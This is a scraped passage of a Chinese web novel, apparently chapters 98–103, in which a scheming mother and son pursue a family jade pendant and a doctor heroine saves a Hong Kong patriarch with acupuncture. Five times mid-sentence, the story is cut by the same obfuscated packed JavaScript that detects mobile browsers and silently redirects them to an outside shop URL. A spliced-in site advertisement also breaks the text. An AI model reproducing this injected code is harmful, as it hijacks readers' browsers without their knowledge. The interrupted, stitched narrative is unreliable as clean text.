这个兔崽子!莫非是在骗自己?她甚至不惜动用关系,旁敲侧击地向苏家施压,却依旧一无所获。就连苏文赫据说也缠绵病榻,出国疗养,不见踪迹。 那块象征着巨大财富和权力的玉佩,就像人间蒸发了一样,了无踪迹。 没有了玉佩,赵宇轩就名不正言不顺,董事会的那些老家伙们动不动就拿这件事作筏子恶心她! 更重要的是没有了九龙佩就无法开启那笔庞大的家族基金。 他们的地位就不稳固,随时可能被人掀翻! 比如赵家的旁支最近就不太老实。 “废物!一群废物!她狠狠地将一个古董花瓶摔在地上,对着电话那头的亲信咆哮,“连一块玉佩都找不到!我养你们有什么用?! 就在她气急败坏、一筹莫展之际,忽然一个念头猛然钻冒了出来。 她想起了那个来自南洋的、手段诡异莫测的降头师——白石大师。 当年,就是这位“大师,给了她那种能让人在不知不觉中变成活**的“子母牵机蛊。 既然他有办法下蛊,那他…必然精通奇门遁甲…也许就有办法找到那块九龙玉佩! 梁美玲眼中闪过一丝狠厉。她立刻让萍姐,通过一条极其隐秘的渠道,再次联系上了那位远在南洋的白石大师。 电话接通,那头传来一个沙哑的、仿佛被砂纸打磨过的声音。 “赵太太,好久不见。是又有什么‘烦心事’,需要我帮忙解决吗? “大师,梁美玲压低声音,直奔主题,“九龙玉佩,不见了。我需要你,帮我算出它的下落! 电话那头沉默了片刻,随即传来白石大师的一声轻笑:“呵呵……赵太太,你可真是给我出了个难题啊。九龙佩乃是至阳至刚的神物,自带龙气护体,它的行踪,可不是那么好算的。强行推演,我怕是会折损阳寿啊…… “价钱,你开。梁美玲毫不犹豫。 “爽快!白石大师满意地笑了起来,“不过,光有钱 还不够。九龙佩是阳佩,龙气霸道,难以追踪。但万物相生相克,想找到它,必须通过与它同源的‘阴佩’作为媒介,才能感应到它的方位。” 阴佩? 梁美玲心中一动,她立刻就想起了赵霍两家的龙凤玉佩的美谈。 难道霍家的那块就是阴佩? 她立刻追问道:“大师,您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771254|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是说,只要我能找到那块‘鸾凤佩’,您就能帮我找到九龙佩?” “没错。”白石大师的声音里,充满了自信,“只要你能拿到那块阴佩,哪怕只是一小块碎片,或者沾染了它气息的物品,我都能以此为引,为你布下‘血脉寻踪阵’,让那块九龙佩,无所遁形!” 挂了电话,梁美玲的眼中迸发出希望之光! 鸾凤佩!霍家! 一个一箭双雕的的计划,在她心中迅速成型。 她不仅要得到鸾凤佩,更要让她的儿子,娶到霍家那个桀骜不驯的“明珠”,彻底巩固赵家在港岛的地位! 她走进书房,赵宇轩正因为董事会那些老家伙的刁难而心烦意乱。 “妈,那群老东西,到现在还拿赵承熙说事!我这个副总裁,当得一点实权都没有!” 梁美玲没有理会他的抱怨,只是将自己刚刚与白石大师的通话内容,以及自己的计划告诉了他。 “……霍思晴的嫁妆,就是那块‘鸾凤佩’。只要你娶了她,我们不仅能得到整个霍家的支持,稳住你在集团的地位,更能利用那块凤佩,找到九龙佩的下落,拿到家族基金的钥匙!到那时,整个赵家,就都是我们的了!” 赵宇轩听完,眼瞬间燃起亮光。 他的目光,落在了桌上那份还未签署的、与李家的联姻协议上,嘴角勾起一抹轻蔑的冷笑。 “一个李家而已,我还真看不上。李小欣那种温室里的花朵,除了弹弹钢琴、读几首酸诗,还会干什么?无趣得很。” 他将那份协议撕得粉碎,“还是霍思晴有意思,”他的声音,因为兴奋而微微颤抖,“她不是我那个好大哥赵承熙的未婚妻吗?不是全港岛公认的、只有赵承熙才配得上的天之骄女吗?” 他站起身,走到巨大的落地窗前,看着窗外辉煌的港岛夜景,张开双臂,仿佛要将整个世界都拥入怀中。 “我不仅要抢走他的一切,我还要抢走他的女人!” “我要让所有人都看看,他赵承熙曾经拥有的一切——地位、财富、女人,现在,都将完完全全地,属于我赵宇轩!” “我要让霍思晴,这个曾经看不起我、只围着我大哥转的女人,心甘情愿地,穿着婚纱,戴着那块‘鸾凤佩’,嫁给我!这比任何商业上的成功,都更能证明,我才是赵家真正的主人!” 梁美玲看着儿子眼中那熊熊燃烧的野心,脸上露出了满意的笑容。这才是她一手培养出来的儿子!青出于蓝而胜于蓝! 第99章 代兄娶嫂 下午,霍家大宅。 这座矗立在太平山顶、能俯瞰整个维多利亚港的百年老宅,今天迎来了一批不速之客。 一列由劳斯莱斯领头的豪华车队,以一种近乎炫耀的姿态,停在了霍家那扇雕花铁门前。车门打开,赵宇轩穿着一身剪裁招摇的范思哲西装,头发梳得油光锃亮,脸上带着志在必得的笑容,率先下车。 紧随其后的,是他的母亲梁美玲。她换上了一件看似低调、实则价值不菲的香奈儿套装,脸上挂着雍容华贵、却又带着一丝精明算计的微笑。 两人备上了最顶级的厚礼——一尊价值千万的明代玉佛,和几张早已被他们暗中控股的海外公司的股权转让书。他们相信,在绝对的财富和权力面前,没有人能拒绝。 赵宇轩的心态,已经膨胀到了极点。 他如今是赵氏集团名正言顺的“太子爷”。在他看来,霍思晴,不过是他那个已经“死”了的大哥不要的女人。 他今天亲自登门,提出“代兄娶嫂”,是给了霍家天大的面子,是屈尊降贵。 他甚至已经开始想象,那个传闻中英姿飒爽的霍家大小姐,在看到自己和这泼天的富贵后,会如何惊喜交加,对自己投怀送抱。 然而,现实证明他只是想得美。 此时霍家大厅里,气氛冰冷如铁。 霍老爷子甚至没有亲自出面,接待他们的,只有霍家的现任掌舵人——霍思晴。 她穿着一身简单的白色亚麻长裤和丝质衬衫,长发随意地束在脑后,未施粉黛的脸上,那双清澈的杏眼,此刻正结着一层寒霜。她没有让佣人上茶,只是抱着手臂,冷冷地看着眼前这对仿佛在逛自家后花园的母子。 “赵夫人,赵先生,”霍思晴的声音,清冷得像山巅的雪,“不知二位今日大驾光临,有何贵干?” 梁美玲依旧端着那副豪门贵妇的架子,笑着开口:“思晴啊,你看你这孩子,说的什么话。我今天带宇轩来,是来跟你和霍伯父提亲的。” 她示意身后的保镖将礼物呈上,语气里充满了施舍般的优越感:“承熙那孩子没福气,先走一步。但他和你的婚约,毕竟是两家老爷子定下的。现在宇轩是我们赵家唯一的继承人,他大哥没完成的婚事,理应由他这个做弟弟的来完成。这 既是全了两家的情分也是告慰承熙在天之灵嘛。” 赵宇轩也上前一步一双贪婪的眼睛肆无忌惮地在霍思晴玲珑有致的身上扫来扫去他自以为帅气地一笑开口就是一句轻浮至极的话: “思晴妹妹别这么见外嘛。以后我们就是一家人了。我大哥那个人古板又无趣哪有我懂得疼女人?你跟了我我保证让你成为全港岛最幸福的女人!” 这番话简直是无耻。 霍思晴的脸色在刹那间冷得能掉下冰渣。她看着眼前这个不学无术、言语轻佻的私生子又想起了那个温和内敛、与她惺惺相惜的赵承熙心里泛着恶心、愤怒。 “赵先生”她缓缓开口每一个字都像是从冰窖里捞出来的“请你搞清楚三件事。” “第一我与令兄赵承熙先生的婚约在他‘病逝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771255|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ’前就已经由两家长辈共同解除了。我现在与你们赵家没有任何关系。” “第二”她的目光变得锐利如刀毫不客气地直刺赵宇轩那颗虚伪的心“我霍思晴要嫁的男人必须是能与我并肩而立、顶天立地的英雄。而不是一个靠着兄长‘意外’去世、靠着母亲不光彩的手段才侥幸上位的投机者!” “第三!”她的声音陡然拔高充满了不容置喙的决绝和鄙夷“也是最重要的一点!我霍思晴就算终身不嫁也绝不会嫁给你这种人!你不配!” “你!”赵宇轩的脸瞬间涨成了猪肝色!他没想到这个女人竟敢当着**面如此不留情面地羞辱他! 梁美玲的脸色也变得极其难看她脸上的假笑再也挂不住:“霍小姐!你这是什么意思?我们是带着诚意来的!你别不识抬举!” “诚意?”霍思晴像是听到了天大的笑话她冷笑一声目光转向梁美玲那眼神里的轻蔑比对赵宇轩更甚“赵夫人你们母子俩一个靠着下三滥的手段上位的情妇 “你们所谓的诚意在我看来肮脏又可笑!” “管家!”霍思晴再也不想跟这两个人多说一句废话她扬声喝道“送客!” 她顿了顿又补充了一句像是在驱赶什么污秽的东西:“把他们带来的东西一并扔出去!别脏了我霍家的地!” 这番话无疑是将赵家母子俩的脸皮彻底撕下来扔在地上狠狠地踩进了泥里! 赵宇宇轩气得浑身发抖指着霍思晴的鼻子色厉内荏地吼道:“你……你给我等着!霍思晴!总有一天我要让你跪着来求我!” 第100章 抵达港市 与此同时,港市,启德机场。 一架没有任何民航标识的专机,在塔台的优先指令下,平稳地降落在VIP专属跑道上。这架看似低调的飞机,却让港市几家最灵通的财经媒体,嗅到了不寻常的味道。 舱门打开,一行四人,鱼贯而出。 走在最前面的,是两个气场截然不同的男人。一个穿着剪裁合体的深色便服,身形挺拔如松,步履间带着军人独有的沉稳与威压,正是傅清寒。 另一个则是陈慕白,一身得体的手工高定西装,戴着金丝眼镜,脸上挂着温文尔雅的微笑。 而紧随其后的则是白凝凝。她穿着一身略显宽松的连衣裙,面色沉静。 然而她身后半步之遥还跟着一位穿着最简单的白衬衫,戴着一副遮住了大半张脸黑框眼镜的小助理。 他低着头,沉默寡言,手里推着几个大大的行李箱,谨小慎微的模样,像极了每个大老板身边都会有的那种高级打杂。 无人知道他便是改头换面,化名为“高成”的赵承熙。 机场外,早已等候着大批嗅觉灵敏的港市财经记者。他们的**短炮,在看到这一行人出现时,瞬间对准了走在最前面的陈慕白。 “陈先生!请问‘凝悦’集团此次高调南下,是否意味着将正式进军港市乃至海外市场?” “陈先生!有传言说‘凝悦’背后有军方背景,这次傅部长亲自陪同,是否代表了官方的支持态度?” 面对这些刁钻的问题,陈慕白停下脚步,脸上依旧挂着那副无可挑剔的微笑。他接过话筒,声音温润,却字字铿锵,带着不容置喙的力量: “各位记者朋友,感谢大家的关注。” “‘凝悦’作为国货精品,其核心技术源于我华夏几千年的中医传承。我们始终相信,民族的,才是世界的。此次南下,我们的目的很明确——寻求与港市本地最优秀的药企进行深度合作,强强联合,共同将代表着中医最高水准的国货品牌,推向世界!” 这番话说得冠冕堂皇,滴水不漏。但在场的媒体人,都是人精,立刻就听出了其中的潜台词! “寻求与最优秀的药企合作”?港市医药界的龙头老大,不就是霍家吗? “强强联合”?说得好听!这分明就是下 了战书要来抢地盘了! 莫非是一场披着“合作”外衣的“商业入侵”?—— 第二天一早港市所有主流财经报纸的头版头条都被这条新闻所占据。 《京市国货巨头“凝悦”高调南下港市医药市场或将重新洗牌!》 《军方背景?神秘“凝悦”董事长携官方代表抵港目标直指霍氏药业!》 霍家大宅书房内。 气氛凝重如铁。 霍思晴将几份报纸狠狠地拍在红木长桌上她那张英姿飒爽的脸上此刻满是寒霜。 “爷爷爸他们来了!”她柳眉紧蹙声音里是压抑不住的怒火“来势汹汹摆明了是冲着我们霍家来的!‘凝悦’的修复膏已经在内地抢占了我们‘玉肌散’七成的市场份额现在他们又想把战火烧到我们的家门口!” 一位须发花白、在董事会里极具分量的董事忧心忡忡地敲着桌子:“我打听过了这次带队的一个是内地军区后勤部的新任实权人物傅清寒一个是京市新贵陈慕白背景一个比一个深。硬碰硬我们恐怕占不到便宜。” 另一位董事也附和道:“是啊我听说那个白凝凝就是‘凝悦’的创始人不仅是傅清寒的太太还是陈老总亲认的干孙女医术神乎其技。这次恐怕是遇到了真正的硬茬子。” 书房主位上霍老爷子靠在太师椅上闭着眼手指轻轻地叩击着扶手。他听着众人的议论没有说话只是脸色越来越苍白。 良久他才缓缓睁开眼那双浑浊的眸子里充满了疲惫和烦闷。 昨天赵家那个不成器的私生子居然也觊觎肖想他的宝贝孙女已经气得他心口发闷现在内地又来了对手 他摆了摆手有气无力地说道:“兵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771256|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来将挡水来土掩。”他看向自己的孙女声音里带着一丝托付的沉重:“思晴这件事你全权负责。我累了……但你要记住霍家绝不能在我们的地盘上被一个内地来的小丫头给压了下去!”—— 下午霍氏药业集团总部顶层会议室。 气氛凝重得几乎能滴出水来。 霍思晴坐在主位上面前摊开着一叠又一叠的市场分析报告 每一份报告上的数据,都像阴云一样笼罩在她心头。 “小姐,”市场部总监擦着额角的冷汗,声音都在发颤,“内地市场那边……我们主打的‘玉肌散’,这个月的销售额已经出现了明显的下滑。虽然还没有到伤筋动骨的地步,但根据我们的模型预测,一旦‘凝悦’那款修复膏正式进入我们的销售渠道,凭借其惊人的效果和军方背书的口碑,对我们的冲击将会是毁灭性的。” “最要命的是,”另一位销售主管补充道,脸色更加难看,“他们这次打着‘合作’的旗号来,姿态放得很高。我听说,他们已经约谈了我们好几个最重要的药材供应商和渠道商。对方虽然没有明确表态,但态度……都很暧昧。显然是在待价而沽。” 霍思晴听着这些坏消息,一张俏脸冷若冰霜。 她明白,对方根本不是来和她商量“如何合作”的。对方的到来,本身就是一种“宣告”——他们拥有更强的产品力,更硬的背景,他们要来制定新的市场规则。 所谓的“合作”,更像是一种“招安”。 他们甚至不需要主动攻击,只要将他们的产品和条件摆出来,那些逐利的供应商和渠道商,自然会做出最有利于自己的选择。这根本不是恶意的商业打压,而是基于绝对实力差距的、堂堂正正的碾压! 霍思晴第一次感觉到了深深的无力感。这不是一场可以用钱和手段来解决的战争,这是一场技术和实力的碾压。 前有狼后有虎,她感到深深地疲惫,还没来得及叹气,办公桌上老宅的专线电话就剧烈地响起来! 第101章 施针救人 就在霍思晴接到电话前不久,凝凝一行人在港市半山一处安保严密的别墅区里安排好的安全屋。 别墅内,装修低调奢华,所有的通讯设备都经过了加密处理。 四人刚刚安顿下来,一份由苏文赫安插在港市的亲信送来的加急情报,就放在了傅清寒的面前。 情报的内容很简单,却信息量巨大——就在他们抵达港市的前一天,赵宇轩和梁美玲备上厚礼,高调前往霍家提亲,结果被霍思晴毫不留情地当众羞辱,连人带礼,一并被“请”出了霍家大宅。 “看来,赵宇轩这个太子爷,当得并不安稳啊。”陈慕白看着情报,推了推眼镜,一针见血地分析道,“他在集团内部根基未稳,急需一股强大的**来支持他。霍家在港市和内地的医药界都举足轻重,是他最好的联姻对象。” 他说到这里,微微顿住,没有立刻说下去。他的目光,越过手中的文件,落在了那个正沉默地站在窗边,背对着众人,眺望着维多利亚港夜景的“陆成”(赵承熙)身上。 陈慕白镜片后的目光闪过一丝锐利,他缓缓补充道,“更何况,霍思晴……曾经是承熙你的未婚妻。” 他刻意加重了“你的”两个字。 “赵宇轩此举,恐怕还有另一层更恶毒的心思——向所有人宣告,他不仅继承了你的位置,还要接手你的一切,包括……你的女人。这是一种赤裸裸的的炫耀和羞辱。” 窗边那个挺拔的背影,在听到“你的女人”这几个字时,猛地一僵! 赵承熙没有回头,但他放在窗台上的那只手,却不受控制地死死攥成了拳头,指节因为过度用力而根根发白,手背上青筋暴起。 一种巨大的难以言喻的**感,像烧红的烙铁,狠狠地烫在他的心上! 他不仅被夺走了家业,差点被谋害了性命,现在就连他曾经最欣赏的那个女孩,也要被那个小人当作战利品一样,肆意染指和炫耀! 他喉头滚动,一股腥甜的铁锈味涌了上来。他极力地隐忍着,才没有让那滔天的怒火和**将自己吞没。他只是从牙缝里,挤出了几个冰冷刺骨的字: “他……也配?!” 那声音,因为刻意的压制而显得有些低沉,却带着要将人撕碎的恨意。 傅清寒看着他那微微颤抖、却依旧强撑着不肯示弱的背影心中了然。他沉声开口声音如磐石般稳定打破了这压抑的气氛:“冷静点。你现在冲动只会暴露自己。复仇需要耐心。” 赵承熙紧闭双眼胸口剧烈地起伏了几下才终于将那股几乎要冲破理智的怒火强行压了下去。他知道傅清寒说得对他现在必须忍。 房间里陷入了沉寂气氛压抑得让人喘不过气。 就在这时一直安静地坐在沙发上的白凝凝忽然开口了。她的声音很轻却像一股清泉瞬间冲淡了房间里的**味。 她没有看向傅清寒或陈慕白而是将目光落在了赵承熙那孤寂的背影上柔声说道: “赵公子你想不想……亲眼去看看?” 赵承熙的身体猛地一震他缓缓地转过身那双布满血丝的眼睛里充满了困惑:“看什么?” 白凝凝看着他眼中没有同情只有仿佛能洞悉人心的理解。她轻声说道:“我知道你现在心里难受。比起在这里听我们分析猜测自己胡思乱想不如亲眼去看一看。看看霍家真正的态度也看看……霍小姐在你‘离开’之后变成了什么样子。” “我现在这个样子怎么去?我已经是个**了。”他苦笑。 凝凝看向他“谁说你一定要用‘赵承熙’的身份去?” 她从随身的药箱里取出了一个小小的瓷瓶和一个化妆盒。 “我这里有我师门特制的‘易容散’。它不能让人脱胎换骨但可以暂时改变你面部肌肉的走向让你的五官轮廓变得更普通更不起眼。”她又打开化妆盒里面是各种颜色和质地的膏体“再配合一些简单的化妆技巧改变一下肤色和眉形我可以让你变成一个……完全不同的、谁也认不出来的陌生人。” 傅清寒补充道:“我们以‘凝悦’寻求合作的名义去拜访霍家。他们被赵宇轩恶心了一通又面临‘凝悦’的商业压力正是心态最复杂的时候。我们在这个时候去既是试探也是施压。而你就可以用一个全新的视角 陈慕白点醒他傅清寒告诫他而白凝凝则给了他一个亲手去寻找答案的办法。他下意识 地点点头,逃避并不是好选择,他想去看看,不是从别人嘴里知道的答案,而是自己亲眼看看思晴真正的态度。 傅清寒见他点头:“我立刻安排。就以‘内地医药代表团’的名义,正式递上拜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771257|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帖。” 然而,他们的拜帖还没来得及送出,一个石破天惊的消息,就通过苏文赫的情报网,紧急传了过来—— 霍家老爷子,就在刚才,因急火攻心,突发心脏病,昏厥不醒!霍家大宅,已经乱成了一锅粥! 赵承熙脸色一白。 “走!”傅清寒甚至来不及多说一个字,抓起外套,扶着白凝凝,带着众人就朝着门口冲去! —— 霍家大宅,此刻正笼罩在一片混乱和恐慌之中。 霍老爷子躺在客厅的地毯上,面色青紫,呼吸微弱。霍家的私人医生在一旁急得满头大汗,拿着听诊器,却连心跳声都几乎听不见! “不行!老爷子的心跳太弱了!必须立刻送医院!快叫救护车!” 说全网首发无弹窗免费阅读caixs?(请来才小 说 看最新章节 完整章节) 霍思晴跪在地上,握着爷爷冰冷的手,那张向来英气逼人的脸上,第一次露出了六神无主、近乎绝望的神情。她知道,以爷爷现在的状况,根本等不到救护车赶到! 就在这千钧一发之际,管家像见了救星一样,连滚带爬地冲了进来: “小姐!京市来的‘凝悦’代表团……他们……他们来了!” “不见!”霍思晴想都没想就脱口而出,她现在哪里有心情见什么商业对手! 但她的话音刚落,一个清冷而又镇定的声音,已经从门口传了进来,带着不容置喙的权威: “让我进来!我是医生!” 所有人循声望去,只见白凝凝在傅清寒的搀扶下,快步走了进来。她甚至没有看周围乱成一团的佣人,目光直直地锁在那个躺在地上的霍老爷子身上! 霍思晴一愣,看着眼前这个被她视为头号劲敌的女人,眼中闪过一丝本能的警惕。 但白凝凝已经走到了她的面前,没有一句废话,直接跪在霍老爷子身边,伸出两根纤细的手指,闪电般地搭在了老爷子的颈动脉和寸口脉上! 只一瞬间,她就做出了判断! “心脉受阻,气血逆行!再耽误一分钟,神仙难救!” 她转头,对着身旁那个同样赶来、化名为“陆成”的赵承熙,沉声命令道:“陆成!我的针包!” 第102章 为何不要 “是!”赵承熙立刻从随身的公文包里,取出了那个熟悉的、装着长短不一银针的布包,递了过去。 白凝凝甚至没有消毒的时间,她抽出三根最细的银针,在自己的衣角上飞快地擦拭了一下,然后,在所有人震惊的目光中,她手腕轻抖,三根银针,快、准、狠地,如同三道银色的闪电,瞬间刺入了霍老爷子心口周围的“神封”、“巨阙”、“鸠尾”三大护心要穴! 她的动作,行云流水,快到极致! 霍思晴想阻止,却被那股强大的、属于医者的气场震慑得一个字都说不出来!她只能眼睁睁地看着那三根银针刺入爷爷的胸口。 白凝凝深吸一口气,咬了咬舌尖,强行提起丹田里那因为怀孕而变得虚浮的内劲。她知道,以自己现在的状态,强行施展这种耗费巨大的“三才护心针”,对腹中胎儿和自己都是巨大的负担。但人命关天,更是箭在弦上,别无选择。 她将那本就不多的灵力,凝聚于指尖,在那三根银针的尾部,飞快地捻动、弹拨! 几乎是瞬间,一股钻心般的虚弱感就从丹田处传来,让她眼前阵阵发黑。腹中的小生命似乎也感受到了母亲灵力的急剧流失,不安地动了一下,让她的小腹传来一阵轻微的坠痛感。 白凝凝的脸色,在刹那间变得惨白如纸,额角的冷汗,像断了线的珠子一样滚落。 傅清寒在一旁看得心都揪了起来!他死死地攥着拳,指节发白,恨不得立刻冲上去替她承受这一切!但他知道,此刻任何打扰,都可能前功尽弃。 “唔……” 就在白凝凝感觉自己快要支撑不住的时候,病床上,原本已经面如死灰的霍老爷子,身体猛地一颤,喉咙里发出一声悠长的、如释重负的呻吟!他那张青紫的脸,开始以肉眼可见的速度,缓缓地,恢复了一丝血色! “有……有心跳了!”一旁的私人医生,拿着听诊器,不敢相信地惊呼起来!“虽然还很微弱,但……但真的恢复了!” 霍思晴也震惊地看着眼前这一幕,看着这个被她视为对手的女人,用几根小小的银针,就将她爷爷从死亡线上拉了回来! 白凝凝见状,立刻收回银针,长长地吐出一口气。她再也支撑不住,身体一软,向后倒去。 “凝凝!”傅清寒 一个箭步冲上前,及时地将她接进怀里。他看着妻子那苍白如纸的脸和嘴唇,感受着她身体传来的轻微颤抖,心中满是后怕! 他一把将她打横抱起,用自己的体温温暖着她冰凉的身体,那双深邃的黑眸里,是前所未有的心疼。 霍思晴看着眼前这一幕,心中涌起一股极其复杂的情绪。她快步走上前,声音里充满了感激和一丝不知所措:“白……白医生……我爷爷他…… 傅清寒抱着怀里虚弱的妻子,冷冷地瞥了她一眼,那眼神里的责备和不悦毫不掩饰,仿佛在说“如果不是为了救你爷爷,我妻子何至于此。 白凝凝靠在丈夫怀里,缓了一口气,对他摇了摇头,示意自己没事。然后,她才看向霍思晴,声音带着一丝无法掩饰的虚弱,却依旧清晰而又凝重: “老爷子的命,是暂时保住了。 她顿了顿,目光扫过病床上依旧昏迷不醒的霍老爷子,说出了那个让霍思晴的心,再次沉入谷底的诊断: “但是,他这次急火攻心,加上旧疾郁结,心脉已经受到了严重的损伤。我刚才以内力强行护住了他的心脉,但终究是杯水车薪,无法根治。以他现在的状况,随时可能复发。 她看着霍思晴那双焦急的眼睛,一字一句地说道: “想要让他彻底苏醒并康复,必须找到极其珍稀的药材,配合我的针法,进行长达七七四十九日的温养调理,才有一线希望。 “药方?霍思晴像是抓住了最后一根救命稻草,急切地问道,“白医生,您需要什么药材?无论多珍贵,我们霍家上天入地,也一定给您找来! 陈慕白和苏文赫对视一眼,都以为凝凝会顺势提出“鸾凤佩作为“药引的要求。这无疑是最好的时机。 然而,白凝凝只是虚弱地摇了摇头。 她知道,现在开口,霍家为了救人,一定会答应。但那样一来,救命之恩,就变成了一场赤裸裸的交易。她要的,不是交易,而是霍家心甘情愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771258|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的信任和结盟。 她示意傅清寒从她的随身药箱里拿出纸笔,然后靠在他怀里,强撑着精神,写下了一张药方。药方上,是几味常规的安神补气药材。 她心里清楚,能治霍老先生的病的药是那些天材地宝,并不在这个世上,这 些都只能当做添头。 她将药方递给霍思晴:“方子上其他的药材并不难找。” 说完她便再也支撑不住闭上眼沉沉地昏睡了过去。 傅清寒看着怀里因为脱力而昏睡过去的妻子心疼得无以复加。他看了一眼还愣在原地的霍思晴不再多说一个字抱着白凝凝头也不回地大步离开。 回到安全屋的别墅里傅清寒将白凝凝安顿在床上盖好被子。陈慕白和苏文赫也跟了进来脸上都带着不解。 “清寒凝凝刚才明明是最好的机会为什么不直接提出要‘鸾凤佩’?”陈慕白忍不住问道。 傅清寒坐在床边轻轻握着白凝凝冰凉的手他的目光从未离开过妻子苍白的脸。他头也没抬声音却异常冷静: “刚刚的时机根本不行因为太巧了。”他缓缓抬起头那双深邃的黑眸里闪烁着洞悉人心的锐利光芒。 “我们现在的身份是‘商业对手’。在他们眼里我们这个‘南下调查团’就是来抢他们饭碗的。结果我们刚到就恰好救了她重病爷爷霍思晴这种人生在大家族从小耳濡目染疑心病只会比任何人都重 他顿了顿“如果凝凝刚才开口要玉佩也许霍思晴心里却一定会想:‘他们救我爷爷果然是别有目的就是为了我们家的传家宝!’不只会翻脸。就连刚刚的救命之恩都会被她看做是处心积虑用心险恶。她会不仅不会感激我们而是防备心会拉满。到时候再想要就更难了。” 就在这时一直沉默地站在一旁的赵承熙忽然开口了。 他的声音沙哑又带着几分的笃定因为只有他才对霍思晴的深刻了解。 “傅部长说得对。” 所有人的目光都转向了他。 赵承熙看着床上昏睡的白凝凝眼中闪过一丝混杂着愧疚和敬佩的光芒。他缓缓说道:“你们……都不了解思晴。” 第103章 以退为进 “你们……试着站在思晴的角度想一想。” 他的声音不高,却让房间里所有人都安静了下来。 “先是家里的生意,在内地被一个叫‘凝悦’的后起之秀,打得节节败退。” “然后,是她曾经的未婚夫——也就是我,突然‘病逝’。虽然婚约已解,但两家几十年的交情和她个人的情感,不可能无动于衷。” “紧接着,我那个不成器的‘弟弟’赵宇轩,就像一只闻到血腥味的苍蝇,迫不及待地带着他那个上不了台面的母亲,登门逼婚,言语羞辱,将霍家的脸面按在地上摩擦。” “就在她焦头烂额之际,打败了她家族生意的‘对手’——白医生你们,又以一个‘商业调查团’的名义,高调抵达港市,兵临城下。” “最后,也是最致命的一击——她最敬爱的爷爷,因为赵宇轩的羞辱和内外交困的压力,急火攻心,当场倒下,生命垂危。” 赵承熙每说一句,陈慕白和苏文赫的脸色就凝重一分。他们发现,如果将这些事串联起来,站在霍思晴的视角,这简直就是一场针对她和整个霍家的、密不透风的“连环局”! 赵承熙的目光扫过众人,最后落在了床上昏睡的白凝凝身上,声音里带上了一丝无法言说的苦涩: “现在,你们想一想。在经历了这一切之后,就在她最绝望的时候,那个被她视为‘商业对手’的白医生,恰到好好处地出现,救了她爷爷,然后,立刻就开口,索要她霍家最重要的传家之宝——‘鸾凤佩’。” 他自问自答,声音冰冷而又笃定: “她不会觉得这是巧合!她只会觉得,这一切,从头到尾,都是我们设计好的一个局!” “她会认为,我们利用赵宇轩那个蠢货当‘先锋’,故意去激怒她爷爷。然后我们再以‘救世主’的姿态登场,最终的目的,就是为了骗取她霍家的传家宝!我们和赵宇轩,在她眼里,不过是一丘之貉,都是为了霍家宝物而来的恶狼!” “到那个时候,”赵承熙的眼中闪过一丝后怕,“她非但不会感激白医生的救命之恩,反而会把我们视为比赵宇轩更可怕、心机更深的敌人!为了自保,为了对抗我们,她甚至……会选择和赵宇轩那个蠢货联手!” “如果真的把霍家, 推向了赵宇轩和梁美玲那一边,那我们今天所做的一切,就全都白费了!白医生那份耗费心神和内力换来的救命之恩,非但没有换来一个盟友,反而树立了一个更强大的敌人!” 赵承熙的这番话,如同醍醐灌顶,让陈慕白和苏文赫瞬间惊出了一身冷汗! 傅清寒的目光从赵承熙身上扫过,他心里清楚,但他心中依然焦躁如焚。 霍家可以等,但凝凝的身体,等不起! 